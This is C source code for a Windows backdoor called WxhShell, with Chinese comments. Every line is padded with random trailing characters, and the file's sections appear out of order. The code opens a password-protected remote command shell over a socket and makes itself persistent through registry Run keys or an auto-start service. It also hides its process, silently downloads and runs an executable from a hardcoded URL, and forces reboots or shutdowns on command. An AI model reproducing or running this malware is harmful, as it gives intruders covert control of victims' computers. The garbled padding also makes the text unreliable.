    if(Boot(SHUTDOWN)) P64PPbP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); un mJbY;t  
    else { U)] oO  
    closesocket(wsh); ?jv/TBZX4  
    ExitThread(0); -A^_{4X  
    } )-I { ^(  
    break; BUDi& |,  
    } /$Nsd  
  // 获取shell e5ZX   
  case 's': { Q%`@0#"]Sv  
    CmdShell(wsh); ~ D j8 z+^  
    closesocket(wsh); x}Eg.S  
    ExitThread(0); = SMXDaH  
    break; ]nn98y+  
  } i &nSh ]KK  
  // 退出 yW=::=  
  case 'x': { ? =Z?6fw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mp1@|*Sn  
    CloseIt(wsh); 3wF;GG  
    break; t\dN DS  
    } Ko<:Z)PS  
  // 离开 2~)`N>@  
  case 'q': { JX;<F~{.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gD @){Ip  
    closesocket(wsh); hD 82tr  
    WSACleanup(); y%cP1y)  
    exit(1); sUO`uqZV  
    break; vm8eZG|  
        } 0 1rK8jX  
  } Jq-]7N%k/  
  } 3qC}0CP*  
W:2( .?  
  // 提示信息 k(nW#*N_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dFB]~QEK  
} L~OvY  
  } "%w u2%i  
tXs\R(?T  
  return; -`h)$&,  
} zR:L! S  
=&]g "a'  
// shell模块句柄 )*J^K?!S  
int CmdShell(SOCKET sock) oJz^|dW  
{ r#p9x[f<Y  
STARTUPINFO si; FDs>m #e  
ZeroMemory(&si,sizeof(si)); <iC(`J$D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ! n@KU!&k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |0b`fOS  
PROCESS_INFORMATION ProcessInfo; Xl#ggub?  
char cmdline[]="cmd"; )7Wf@@R'F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !*N@ZL&X  
  return 0; +I|vzz`ZVr  
} EV%gF   
\~$#1D1f  
// 自身启动模式 ;*Et[}3  
int StartFromService(void) kn 4`Fa;)O  
{ f.$af4 u  
typedef struct Wd:uV  
{ 1>h]{%I  
  DWORD ExitStatus; (hbyEQhF  
  DWORD PebBaseAddress; JPw.8|V)y  
  DWORD AffinityMask; sDlO#  
  DWORD BasePriority; p_%Rt"!  
  ULONG UniqueProcessId; Wh*uaad7  
  ULONG InheritedFromUniqueProcessId; VpDbHAg  
}   PROCESS_BASIC_INFORMATION; \_f(M|  
]N?kG`[  
PROCNTQSIP NtQueryInformationProcess; HIZe0%WPw  
.#8 JCY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &Ok):`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OQJ6e:BGt  
Vt#.eL)Ee  
  HANDLE             hProcess; /h3RmUy   
  PROCESS_BASIC_INFORMATION pbi; lt8|9"9<  
*z8\Lnv~k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x7[BK_SY  
  if(NULL == hInst ) return 0; @\#td5'  
-[.[>&`/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Rima;9.Y0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U>N1Od4vTO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VMWf>ZU  
XwaXdvmK  
  if (!NtQueryInformationProcess) return 0; 0 kW,I  
Lp9E:D->  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v.qrz"98-  
  if(!hProcess) return 0; $=4QO  
9\7en%(M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ew4U)2J+  
5=ryDrx  
  CloseHandle(hProcess); ]h5tgi?_l  
w\O;!1iU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 61U09s%\0  
if(hProcess==NULL) return 0; xJ.M;SF4  
8Zd]wYO  
HMODULE hMod; w``U=sfmV  
char procName[255]; ^iV)MTT  
unsigned long cbNeeded; GZIa 4A  
j0q&&9/Jj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1$h,m63)  
;Rl x D 4p  
  CloseHandle(hProcess); CU!Dhm/U  
TB31- ()  
if(strstr(procName,"services")) return 1; // 以服务启动 dk^~;m#iN  
do'GlU oMC  
  return 0; // 注册表启动 'LDQgC*%  
} \s\?l(ooq"  
wUJcmM;  
// 主模块 P]C<U aW'!  
int StartWxhshell(LPSTR lpCmdLine) k+*u/neh  
{ x]j W<A  
  SOCKET wsl; %8v\FS  
BOOL val=TRUE; 1< ?4\?j  
  int port=0; ,PD QzJY  
  struct sockaddr_in door; ~a2}(]  
5[0?g@aO  
  if(wscfg.ws_autoins) Install(); f _:A0  
j1<Yg,_.p  
port=atoi(lpCmdLine); /PKNLK  
#KvlYZ+1  
if(port<=0) port=wscfg.ws_port; M<&= S  
(/$^uWj  
  WSADATA data; {P-):  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~&uHbTq  
Dw"\/p:-3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7zj{wp!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nO-#Q=H,  
  door.sin_family = AF_INET; h{qgEIk&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8eRLy/`gd  
  door.sin_port = htons(port); #<xm.  
6aj!Q*(WT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \{NO?%s0p  
closesocket(wsl); VIbq:U  
return 1; o4WDh@d5S  
} N2o7%gJw  
*m(=V1"  
  if(listen(wsl,2) == INVALID_SOCKET) { 4skD(au8  
closesocket(wsl); %a7$QF]  
return 1; e|r`/:M  
} x?<FJ"8"k  
  Wxhshell(wsl); MHwIA*R  
  WSACleanup(); vP,n(reM  
N$tGQ@  
return 0; e'<)V_  
"J1 4C9u   
} !<F3d`a  
\b>] 8Un"  
// 以NT服务方式启动 q,%st~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1Z&(6cDY8M  
{ B<C&xDRZ0  
DWORD   status = 0; Ho]su?  
  DWORD   specificError = 0xfffffff; Uw:"n]G]D?  
}QmqoCAE~m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2KZneS`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; & 5R&k0i r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eJX#@`K  
  serviceStatus.dwWin32ExitCode     = 0; Alq(QDs  
  serviceStatus.dwServiceSpecificExitCode = 0; V VCZ9MVJ  
  serviceStatus.dwCheckPoint       = 0; H;"4 C8K7  
  serviceStatus.dwWaitHint       = 0; OZ&o:/*HM  
]_$[8#kg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FGkVqZ Y2?  
  if (hServiceStatusHandle==0) return; & nK<:^n  
"gwSJ~:ds  
status = GetLastError(); Yr|4Fl~U  
  if (status!=NO_ERROR) !Z6{9sKR=]  
{ E(|>Ddv B&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v-Sd*( 6  
    serviceStatus.dwCheckPoint       = 0; ,"ql5Q4  
    serviceStatus.dwWaitHint       = 0; cc3 4e  
    serviceStatus.dwWin32ExitCode     = status; *lb<$E]="!  
    serviceStatus.dwServiceSpecificExitCode = specificError; :zR!/5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F:ELPs4"  
    return; L: x-%m%w  
  } 3 gf1ownC  
|f##5fB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M3Kfd  
  serviceStatus.dwCheckPoint       = 0; 'B}qZCy W  
  serviceStatus.dwWaitHint       = 0; 048kPXm`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DV{=n C  
} Hx:;@_g q  
hv+zGID7  
// 处理NT服务事件,比如:启动、停止 ;wD)hNLAvR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wA.\i  
{ ~)'k 9?0  
switch(fdwControl) rM "l@3hP  
{ OrG).^l  
case SERVICE_CONTROL_STOP: [S<";l8  
  serviceStatus.dwWin32ExitCode = 0; [Nq*BrzF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .e5Mnd%$M  
  serviceStatus.dwCheckPoint   = 0; NEF# }s2=  
  serviceStatus.dwWaitHint     = 0; jh$='Gn  
  { et+0FF ,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w#J2 wS  
  } A)KZa"EX  
  return; 8XbT`y  
case SERVICE_CONTROL_PAUSE: B-ESFATc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "w _aM7x_  
  break; i?;Kq~,  
case SERVICE_CONTROL_CONTINUE: 'f|o{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L rPkxmR  
  break; B1Oq!k  
case SERVICE_CONTROL_INTERROGATE: J^/p(  
  break; r_.S>]  
};  C.QO#b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8EEuv-aeo  
} 8r!zBKq2~  
Ct|A:/z(  
// 标准应用程序主函数 r%N)bNk~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZG@q`<:j  
{ 3mni>*q7d  
iR0y"Cii  
// 获取操作系统版本 :i7;w%B  
OsIsNt=GetOsVer(); R GX=)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *owU)  
,=N.FS  
  // 从命令行安装 -%dCw6aX+  
  if(strpbrk(lpCmdLine,"iI")) Install(); p<;0g9,1  
'3H_wd  
  // 下载执行文件 QdC<Sk!G  
if(wscfg.ws_downexe) { vcd\GN*4f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *9i{,I@  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]s748+  
} >OK^D+v"j  
v9UD%@tZ  
if(!OsIsNt) { &VcV$8k  
// 如果时win9x,隐藏进程并且设置为注册表启动 C8\^#5  
HideProc(); fxIf|9Qi`  
StartWxhshell(lpCmdLine); E.>4C[O  
} yCX?!E;La  
else !g.?  
  if(StartFromService()) ]0\MmAJRn  
  // 以服务方式启动 nNU2([  
  StartServiceCtrlDispatcher(DispatchTable); 4'Zp-k?5`  
else zv"Z DRW  
  // 普通方式启动 Qw)c$93  
  StartWxhshell(lpCmdLine); k;L6R!V  
+2j AC r  
return 0; H7j0K~U0  
} 1!gbTeVlY  
` ~`k_7t.  
/FJu)H..U  
tnG# IU *  
=========================================== BVO<e \>3  
O0y_Lm\  
O8.5}>gDn.  
XSl GE9]AG  
?3xzd P  
t<viX's  
" }Z,x~G  
I 2|Bg,e  
#include <stdio.h> {Dmjm{   
#include <string.h> &9)\wnOS  
#include <windows.h> $p?aVO  
#include <winsock2.h> 680o)hh4m>  
#include <winsvc.h> H'hpEw G  
#include <urlmon.h> ( ICd}  
I(0~n,=j  
#pragma comment (lib, "Ws2_32.lib") u-5{U-^_  
#pragma comment (lib, "urlmon.lib") Q)[C?obd v  
Per1IcN  
#define MAX_USER   100 // 最大客户端连接数 3kMf!VL  
#define BUF_SOCK   200 // sock buffer j^2wb+`  
#define KEY_BUFF   255 // 输入 buffer qm o9G  
46&/gehr  
#define REBOOT     0   // 重启 ")XHak.JX  
#define SHUTDOWN   1   // 关机 WuUk9_ g  
65$+{s  
#define DEF_PORT   5000 // 监听端口 xH"/1g  
DKJmTH]rUg  
#define REG_LEN     16   // 注册表键长度 UIN<2F_  
#define SVC_LEN     80   // NT服务名长度 .jT#:_  
j0evq+  
// 从dll定义API ;LSANr&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V_}"+&W9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Mc_YPR:C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ARwD~ Tr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =BAW[%1b  
o 5uph=Q{  
// wxhshell配置信息 BdblLUGK#  
struct WSCFG { J({Xg?  
  int ws_port;         // 监听端口 ;1O_M9  
  char ws_passstr[REG_LEN]; // 口令 YdC6k?tzS  
  int ws_autoins;       // 安装标记, 1=yes 0=no q"sed]  
  char ws_regname[REG_LEN]; // 注册表键名 qCpp6~]Um  
  char ws_svcname[REG_LEN]; // 服务名 KD7dye  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z|j>gq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _w+:Dv~*a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <~'"<HwtK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no as4;:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (U_ujPD ?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cyv`B3}  
{19PL8B~}  
}; ju8q?Nyhs  
L<-_1!wh  
// default Wxhshell configuration O/a4]r+_  
struct WSCFG wscfg={DEF_PORT, yyRiP|hJ  
    "xuhuanlingzhe", >#~& -3  
    1, a85$K$b>  
    "Wxhshell", L Mbn  
    "Wxhshell", 37 ,  
            "WxhShell Service", u#;7<.D  
    "Wrsky Windows CmdShell Service", FR4QUk  
    "Please Input Your Password: ", NAQAU *yP  
  1, *,8^@(th  
  "http://www.wrsky.com/wxhshell.exe", G"U9E5O  
  "Wxhshell.exe" Bp`]  
    }; %.Fi4}+O  
&5spTMw8  
// 消息定义模块 z/WE,R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )=Z>#iH1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YY((V@|K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OgQV;at  
char *msg_ws_ext="\n\rExit."; \y)rt )  
char *msg_ws_end="\n\rQuit."; C]eSizS.  
char *msg_ws_boot="\n\rReboot..."; '()xHEGl3  
char *msg_ws_poff="\n\rShutdown..."; K{cD+=]{  
char *msg_ws_down="\n\rSave to "; ]kG"ubHV?h  
M7a.8-!1  
char *msg_ws_err="\n\rErr!"; R{3N&C  
char *msg_ws_ok="\n\rOK!"; 4(~L#}:r!  
I<4Pur>"  
char ExeFile[MAX_PATH]; 3yY}04[9<  
int nUser = 0; Lh"<XYY  
HANDLE handles[MAX_USER]; <fjX[l<Uz  
int OsIsNt; c74.< @w  
1N^[.=  
SERVICE_STATUS       serviceStatus; 1k5Who@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @ ZwvBH  
Zq|I,l0+E  
// 函数声明 /k6MzFoid  
int Install(void);  u\x}8pn  
int Uninstall(void); Xy&A~F  
int DownloadFile(char *sURL, SOCKET wsh); ,I$`-$_'  
int Boot(int flag); G<8/F<m/  
void HideProc(void); f ue(UMF~  
int GetOsVer(void); _476pZ_  
int Wxhshell(SOCKET wsl); Co_A/  
void TalkWithClient(void *cs); p8H'{f\G  
int CmdShell(SOCKET sock); GR.^glG?6  
int StartFromService(void); e&F8m%t  
int StartWxhshell(LPSTR lpCmdLine); v ~?qz5:K~  
};bEU wGWf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fZzoAzfv2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eKLZt%=  
UA0Bzoky;  
// 数据结构和表定义 2K6qY)/_  
SERVICE_TABLE_ENTRY DispatchTable[] = +nhLIO{{L  
{ 4 Y9`IgQ  
{wscfg.ws_svcname, NTServiceMain}, :&rt)/I  
{NULL, NULL} |=ba9&q  
}; m6K}|j  
j'<<4.(  
// 自我安装 =^f<v_L  
int Install(void) VUGmi]qd  
{ wY % }  
  char svExeFile[MAX_PATH]; GL0L!="!  
  HKEY key; T_ <@..C  
  strcpy(svExeFile,ExeFile); l^-];|Y  
~i{(<.he  
// 如果是win9x系统,修改注册表设为自启动  c(E{6g?  
if(!OsIsNt) { v2\FA(BPn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )Y0!~# `  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (ejvF):|  
  RegCloseKey(key); ")5":V~fN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { syj0.JD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l -mfFN  
  RegCloseKey(key); {n.PF8A5X  
  return 0; El".I?E*  
    } 7\[@ m3s  
  } M}-Rzc  
} |?xN\O^#}  
else { t%FwXaO#  
G]tn i  
// 如果是NT以上系统,安装为系统服务 SrJGTuXg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); beGa#JH,  
if (schSCManager!=0) tBWrL{xLe  
{ DGF5CK.O  
  SC_HANDLE schService = CreateService [`[|l  
  ( ^_W#+>&--  
  schSCManager, aEWWP]  
  wscfg.ws_svcname, 1Z2HUzqh.  
  wscfg.ws_svcdisp, t+ G#{n  
  SERVICE_ALL_ACCESS, A#<?4&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V>LwqS~`  
  SERVICE_AUTO_START, .},'~NM]  
  SERVICE_ERROR_NORMAL, 'n]w"]|  
  svExeFile, *W1dG#Np}  
  NULL, ~?Pw& K2  
  NULL, 2tEkj=fA-  
  NULL, [Ek7b *  
  NULL, o5GcpbZ3k  
  NULL (@VMH !3  
  ); LEf^cM=>  
  if (schService!=0) D%SlAzZ3  
  { X-Kh(Z  
  CloseServiceHandle(schService); 2(+2+ }  
  CloseServiceHandle(schSCManager); n\'4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1#2 I  
  strcat(svExeFile,wscfg.ws_svcname); B{#I:Rs9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (gU!=F?#m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T/~f~Zz  
  RegCloseKey(key); Bahm]2  
  return 0; %E>Aw>] v  
    } hEH?[>9  
  } wv1iSfW  
  CloseServiceHandle(schSCManager); 5m 4P\y^a  
} MrFQ5:=  
} Y =I'czg  
 A,<E\  
return 1; iy!=6  
} n'LrQU  
Uz8ff  
// 自我卸载 #A/  
int Uninstall(void) Rsk4L0  
{ $GcqBg-Hi  
  HKEY key; ]p GL`ge5  
q`7PhA  
if(!OsIsNt) { :\c ^*K(9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ie95rZp  
  RegDeleteValue(key,wscfg.ws_regname); p27~>xQ  
  RegCloseKey(key); P|E| $)m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rJ4S%6w  
  RegDeleteValue(key,wscfg.ws_regname); FVbb2Y?R  
  RegCloseKey(key); f~R(D0@  
  return 0; R+z2}}Z!`  
  } Y\P8 v  
} #p&qUw  
} 7Q9 w?y~c  
else { [ l??A3G  
9;u@q%;!k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?e4YGOe.  
if (schSCManager!=0) -@2iaQ(5a2  
{ ltSU fI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,w4(kcg%iQ  
  if (schService!=0) : *#-%0  
  { o5PO =AN  
  if(DeleteService(schService)!=0) { rXP,\ ]r+  
  CloseServiceHandle(schService); AV]2 euyn  
  CloseServiceHandle(schSCManager); my1@41 H  
  return 0; J yK3{wYS  
  } 3;9^  
  CloseServiceHandle(schService); WE#^a6  
  } V2EUW!gn 2  
  CloseServiceHandle(schSCManager); f'RX6$}\1X  
} R) h#Vc(  
} 'JE`(xD  
};zFJ6I8  
return 1; G~a ZJ,  
} {}przrU^c  
n( yn<  
// 从指定url下载文件 Ll't>)  
int DownloadFile(char *sURL, SOCKET wsh) qInR1r<  
{ t{9GVLZ  
  HRESULT hr; \V63qg[  
char seps[]= "/"; g:@#@1rB6  
char *token; oZgjQM$YP  
char *file; H%td hu\e  
char myURL[MAX_PATH]; (%6P0*  
char myFILE[MAX_PATH]; Nai2W<,  
Sz`,X0a  
strcpy(myURL,sURL); t3_O H^  
  token=strtok(myURL,seps); 0#hlsfc]\  
  while(token!=NULL) M7~2iU<#  
  { 9cF[seE"0  
    file=token; 8TKnL\aar  
  token=strtok(NULL,seps);  V}CG:9;  
  } cuI TY^6  
K69'6?#  
GetCurrentDirectory(MAX_PATH,myFILE); /,yd+wcW#  
strcat(myFILE, "\\"); Dz/ "M=  
strcat(myFILE, file); vvMT}-!  
  send(wsh,myFILE,strlen(myFILE),0); CAhXQ7w'Z  
send(wsh,"...",3,0); gr2U6gi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FW4<5~'  
  if(hr==S_OK) 6nvz8f3*r]  
return 0; Yj49t_$b  
else v\ )W?i*l  
return 1; M%m4i9~!?  
(L&d!$,Dv  
} [z{1*Xc  
g! |kp?  
// 系统电源模块 =dKtV.L  
int Boot(int flag) _B<X`L =  
{ k y7Gwc  
  HANDLE hToken; r#a=@  
  TOKEN_PRIVILEGES tkp; oG\Vxg*  
6 H$FhJF  
  if(OsIsNt) { S,UDezxg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b4kgFA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Jnov<+  
    tkp.PrivilegeCount = 1; T8$y[W-c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R-$!9mnr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CD~.z7,LC  
if(flag==REBOOT) { Xx:"4l.w.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L="}E rmK  
  return 0; >y 3=|  
} U5de@Y  
else { h2R::/2.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #\m<Sz5Gp#  
  return 0; onzxx4bax  
} ON(kt3.h  
  }  qX{+oy5  
  else { F JyT+  
if(flag==REBOOT) { m{HS0l'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U Cjld  
  return 0; n:!_  
} I efn$  
else { e\L8oOk#r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z Iu'[U  
  return 0; )SGq[B6@I  
} x%B/  
} rx|pOz,:  
4kx N<]  
return 1; 9yP;@y*d  
} j\M?~=*w  
@o`AmC . 8  
// win9x进程隐藏模块 L!xi  
void HideProc(void) Gd85kY@w7  
{ gcT%c|.  
s$j,9uRr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); InI$:kJ  
  if ( hKernel != NULL ) dy[X3jQB  
  { :V||c5B+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (4nq>;$3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ckCE1e>s  
    FreeLibrary(hKernel); D0f]$  
  } J|73.&B  
`ERz\`d~Y;  
return; M_DwUS 1?  
} +N U G  
X &H"51  
// 获取操作系统版本 5{,<j\#L  
int GetOsVer(void) W"{N Bi  
{ 8quaXVj^a  
  OSVERSIONINFO winfo; Z% UP6%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'I;zJ`Trd  
  GetVersionEx(&winfo); $XH^~i;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Eu3E-K@y  
  return 1; 5b7RY V  
  else ]`WJOx4  
  return 0; 1'8YkhQ2a  
} Nh +H9  
pA4xbr2  
// 客户端句柄模块 %WS+(0*1  
int Wxhshell(SOCKET wsl) JBZ@'8eqi]  
{ [:*)XeRK  
  SOCKET wsh; _+MJ%'>S  
  struct sockaddr_in client; GM<9p_ B  
  DWORD myID; _Fg5A7or  
hDGF7  
  while(nUser<MAX_USER) )4;`^]F  
{ +=)+'q]S  
  int nSize=sizeof(client); jebx40TA3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qH_Dc=~la  
  if(wsh==INVALID_SOCKET) return 1; \i &<s;  
*LY8D<:zs  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U6s[`H3I{  
if(handles[nUser]==0) f|(M.U-  
  closesocket(wsh); xT2PyI_:  
else 9>#6*/Oa7  
  nUser++; dj%!I:Q>u  
  } W2!+z{:m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A3*!"3nU  
X@FN|Rdh  
  return 0; _)-o1`*-  
} d#wVLmKZ  
c&Q$L }  
// 关闭 socket -UT}/:a  
void CloseIt(SOCKET wsh) e+K^A q  
{ ?Mfw]z"\C)  
closesocket(wsh); =2x^nW  
nUser--; #`s"WnP9'!  
ExitThread(0); vZ Lf  
} 9N3eN  
)!T/3|C  
// 客户端请求句柄 NGWxN8P6  
void TalkWithClient(void *cs) 8dhUBJ0_  
{ =tY T8Q;al  
!|>"o7  
  SOCKET wsh=(SOCKET)cs; :BT q!>s  
  char pwd[SVC_LEN]; zx7{U8*`<  
  char cmd[KEY_BUFF]; 5kXYeP3:  
char chr[1]; nQS|Lt_+  
int i,j; ?z u8)U  
Y6d@h? ht  
  while (nUser < MAX_USER) { ,Y48[_ymm  
NaCy@  
if(wscfg.ws_passstr) { 1-QS~)+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;bhT@aB1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B7vpsSL  
  //ZeroMemory(pwd,KEY_BUFF); >F&47Yn  
      i=0; 6LZ;T.0o  
  while(i<SVC_LEN) { FxtI"g\0  
N}YkMJy  
  // 设置超时 {1 94!S4z  
  fd_set FdRead; ?0xgRe<  
  struct timeval TimeOut; lb1Xsgm{  
  FD_ZERO(&FdRead); ^sg,\zD 'X  
  FD_SET(wsh,&FdRead); y*h<MQ  
  TimeOut.tv_sec=8; >-{Hyx  
  TimeOut.tv_usec=0; HUOj0T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C{wEzM :  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 61 ~upQaR  
GowH]MO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,,|^%Ct']  
  pwd=chr[0]; !5?<% *  
  if(chr[0]==0xd || chr[0]==0xa) { y18Y:)DkL  
  pwd=0; sUm'  
  break; gv{ >`AN  
  } ^y4Z+Gu[  
  i++; Vs{|xG7W D  
    } G9vpt M  
mlS$>O_aX  
  // 如果是非法用户,关闭 socket 8sK9G` k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {cw /!B  
} 7})[lL`\s  
VgS_s k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $ o#V#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -C&P%tt Y  
t<?,F  
while(1) { w"&n?L  
-`TEVS?`l  
  ZeroMemory(cmd,KEY_BUFF); U|j`e5)  
R_S.tT!  
      // 自动支持客户端 telnet标准   MR.'t9m2L  
  j=0; ps DetP  
  while(j<KEY_BUFF) { yJe>JK~)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lbb0_-']  
  cmd[j]=chr[0]; {P#|zp4C{  
  if(chr[0]==0xa || chr[0]==0xd) { %BB%pC  
  cmd[j]=0; s=/v';5J2!  
  break; @2v_pJy^  
  } QoH6  
  j++; ,izO{@We2{  
    } 3%=~) 7cF  
('p5:d  
  // 下载文件 #@nezu2  
  if(strstr(cmd,"http://")) { hqkz^!rp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~2khgZ  
  if(DownloadFile(cmd,wsh)) "i W"NFO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t}tEvh  
  else !brf(-sr)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T:W4$P  
  } Jma1N;d  
  else { kX2rp?{  
>Wg hn:^  
    switch(cmd[0]) { }txX; "/  
  O463I.XAP  
  // 帮助 &W6^sj*k5U  
  case '?': { <0q;NrvUb  
